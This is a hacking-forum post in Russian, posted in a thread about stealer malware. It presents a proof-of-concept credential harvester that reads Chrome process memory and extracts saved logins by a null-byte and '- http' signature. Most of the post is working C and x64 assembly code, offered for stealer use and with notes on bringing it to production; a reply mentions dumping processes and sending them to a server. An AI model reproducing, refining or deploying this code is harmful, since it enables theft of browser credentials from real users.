• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Поиск паролей в памяти chromium (РоС)

Quake3

TPU unit
Забанен
Регистрация
03.11.2010
Сообщения
4 529
Решения
4
Реакции
5 305
Депозит
0.046
Пожалуйста, обратите внимание, что пользователь заблокирован
В одной теме по обсуждению стиллеров DildoFagins запостил линк на исследование какого-то вайтхета https://www.cyberark.com/resources/...t-credentials-directly-from-chromium-s-memory . В статье он негодует, что оказывается chromium-based браузеры хранят пароли в памяти открытым текстом. Репорты в m$ и гугл ничего особо не дали, т.к. там ответили вида "если малварь попала на комп, то проблема в другом месте, а не в браузере". Но, радостно заканчивает тему автор, во-первых все же чего-то они там поменяли, а во-вторых - количество строк в памяти столь огромно, что найти там креды практически нереально.

Решил задаться этим вопросом . С одной стороны да, автор прав - количество памяти и строк в ней настолько огромно, все равно что искать ключевое слово в "войне и мир" - допустим, оно там есть, но какое и где , черт знает. Искать все строки не вариант сразу. Искать урл по маске - хорошо, но опять же, множество фолс позитивов. Начал смотреть, как оно там хранится. Короче, сдампить их можно (по крайней мере, бОльшую часть), т.к. хранятся данные по такой сигнатуре:
Код:
4 и больше нуллбайта .. тут креды... строка - http
т.е. алгоритм такой - ищем строку "- http" , как нашли идем в обратную сторону, пока не найдем двойной нуллбайт (WORD). Почему двойной, если от 4? Данные не будут выровнены по границе DWORD, и потому надо искать именно два подряд + вдруг я ошибся, и там будет меньше. Т.е. алгоритм примерно такой:

Перебор всех процессов, для надежности - в ходе экспериментов у меня пароли хранились только в одном, но какая разница, сдампит оно их за 0.5 секунды или за 5, главное чтобы не пропустить.
C:
int m(void)
{
HANDLE h;
PROCESSENTRY32W pe32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnap != INVALID_HANDLE_VALUE)
    {
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (!Process32FirstW(hSnap, &pe32))
    {
        //log err..
        return 1;
    }
    do
    {
        if(lstrcmpW(pe32.szExeFile,L"chrome.exe") == 0) //или msedge или что там еще
            {
            h =    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ , FALSE, pe32.th32ProcessID);
            if(h)
                {
                ParseMem(h);   
                CloseHandle(h);   
                }
            }
    } while (Process32NextW(hSnap,&pe32));
CloseHandle(hSnap);
    }
ExitProcess(0);
}

Просмотр памяти процесса, перебираем все регионы соответствующие критериям (RW , Private)

C:
void ParseMem(HANDLE hP)
{
    SYSTEM_INFO s_i;
    MEMORY_BASIC_INFORMATION pmem;
    GetSystemInfo(&s_i);

    for (LPBYTE memPtr, i = (LPBYTE)s_i.lpMinimumApplicationAddress; i <= (LPBYTE)s_i.lpMaximumApplicationAddress;)
    {
        VirtualQueryEx(hP, i, &pmem, sizeof(MEMORY_BASIC_INFORMATION));
        if (pmem.State  == MEM_COMMIT && pmem.Protect == PAGE_READWRITE && pmem.Type == MEM_PRIVATE)
        {
            memPtr = VirtualAlloc(NULL,pmem.RegionSize,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
            if(memPtr)
                {
                SIZE_T tmp;

                if (!ReadProcessMemory(hP,pmem.BaseAddress,memPtr,pmem.RegionSize,&tmp))
                    {OutputDebugStringA("error read memory"); return;}

                find_all(memPtr,pmem.RegionSize);

                VirtualFree(memPtr,0,MEM_RELEASE);
                }
        }
        
        i += pmem.RegionSize;
    }
    
}

Основная магия - поиск сигнатур
C:
void find_all (LPBYTE pMem,SIZE_T dwSize)
{
SIZE_T end_pos = 0;
unsigned short int datalen = 0;
LPBYTE pFinded;
char buf[256]; //в реальном проекте выделять память в хипе, ибо может быть оверфлоу

do
{
end_pos = InString1(dwSize,pMem + end_pos,"- http"); //найти строку , это будет конец сигнатуры с кредами
 
    if(end_pos > 0) //если что-то нашлось
        {
        dwSize-=end_pos; //общий размер уменьшить на фрагмент, который уже просмотрели
        pFinded = find_s(pMem,end_pos,&datalen); //указатель на начало данных

        if(datalen > 15) //минимальный размер
            {
            CopyMemory(buf,pFinded,datalen); //копируем в буфер
            pFinded = buf;
            
            while(*pFinded == 0x0) //удалить нуллбайты
                {
                pFinded++;
                }

            OutputDebugStringA(pFinded); //вывести найденую строку
            }
        }
        else
            break;
}while(dwSize >= 0);

}

Поиск я сделал на 64 битном Асме, точнее изначально асм был 32 битный, в итоге пришлось переписать..в общем, желаемой оптимизации не получил, там говнокод по факту, но что есть то есть
Две процедуры, одна ищет подстроку в строке, вторая - двойной нуллбайт.
Код:
.model flat,c
lstrlenA PROTO FASTCALL :QWORD
.code
InString1 proc strLen1:QWORD,lpSource:QWORD,lpPattern:QWORD
    ;LOCAL r10:QWORD R10
    ;LOCAL pLen:QWORD r11
    ;local startpos:qword r12
    xor r12,r12   
    inc r12 ;mov r12,1
    
    push rbx
    push rsi
    push rdi

    mov rax, strLen1
    mov r10, rax
    invoke lstrlenA,lpPattern
    mov r11, rax           ; pattern length
 
  @@:
    dec r12            ; correct from 1 to 0 based index

    cmp  rax, r10
    jl @F
    mov rax, -1
    jmp isOut               ; exit if pattern longer than source
  @@:

    sub r10, rax           ; don't read past string end
    inc r10

    mov rcx, r10
    cmp rcx, r12
    jg @F
    mov rax, -2
    jmp isOut               ; exit if startpos is past end
  @@:

  ; ----------------
  ; setup loop code
  ; ----------------
    mov rsi, lpSource
    mov rdi, lpPattern
    mov al, [rdi]           ; get 1st char in pattern

    add rsi, rcx            ; add source length
    neg rcx                 ; invert sign
    add rcx, r12       ; add starting offset

    jmp Scan_Loop

    align 16

  ; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

  Pre_Scan:
    inc rcx                 ; start on next byte

  Scan_Loop:
    cmp al, [rsi+rcx]       ; scan for 1st byte of pattern
    je Pre_Match            ; test if it matches
    inc rcx
    js Scan_Loop            ; exit on sign inversion

    jmp No_Match

  Pre_Match:
    lea rbx, [rsi+rcx]      ; put current scan address in EBX
    mov rdx, r11           ; put pattern length into EDX

  Test_Match:
    mov ah, [rbx+rdx-1]     ; load last byte of pattern length in main string
    cmp ah, [rdi+rdx-1]     ; compare it with last byte in pattern
    jne Pre_Scan            ; jump back on mismatch
    dec rdx
    jnz Test_Match          ; 0 = match, fall through on match

  ; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

  Match:
    add rcx, r10
    mov rax, rcx
    jmp isOut
    
  No_Match:
    xor rax, rax

  isOut:
    pop rdi
    pop rsi
    pop rbx

    ret

InString1 endp


find_s proc lpMem:qword,endpos:qword,datalen:qword ptr
    push rsi
    push rdi

    mov rax,endpos
    push rax ; save endpos
    mov rdi,lpMem
    add rdi,rax ;set pos in finded stroka
    mov rcx,rax ;dlina
    xor rax,rax ;we search nullbyte
    std
    repne scasw
    cld

    pop rax ;restore endpos
    sub rax,rcx ;substract current cnt
    shl rax,1 ;mul x2,because words != bytes
    
    mov rcx,datalen ;load addr
    mov [rcx],ax
    mov rax,rdi

    pop rdi
    pop rsi

    ret
find_s endp

В Си коде не забудьте их объявить
C:
int InString1(int strLen1,LPVOID lpSource,LPVOID lpPattern);
LPBYTE find_s(LPVOID lpMem,int endpos,USHORT* datalen);

Это всего лишь РоС, в котором будут недочеты, ошибки, оверфлоу и прочая ерунда. До продакшна это надо еще отдебажить. Кроме того, если софт будет 32 бит, а браузер 64, придется юзать какой-то вариант HG.
Но, может кому пригодится.
 
тема далеко не нова, году в 15 ещё видел как дампят процес тянут на сервер и выбирают что нужно
ps использовалась не для браузеров но сути не меняет в принципе
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх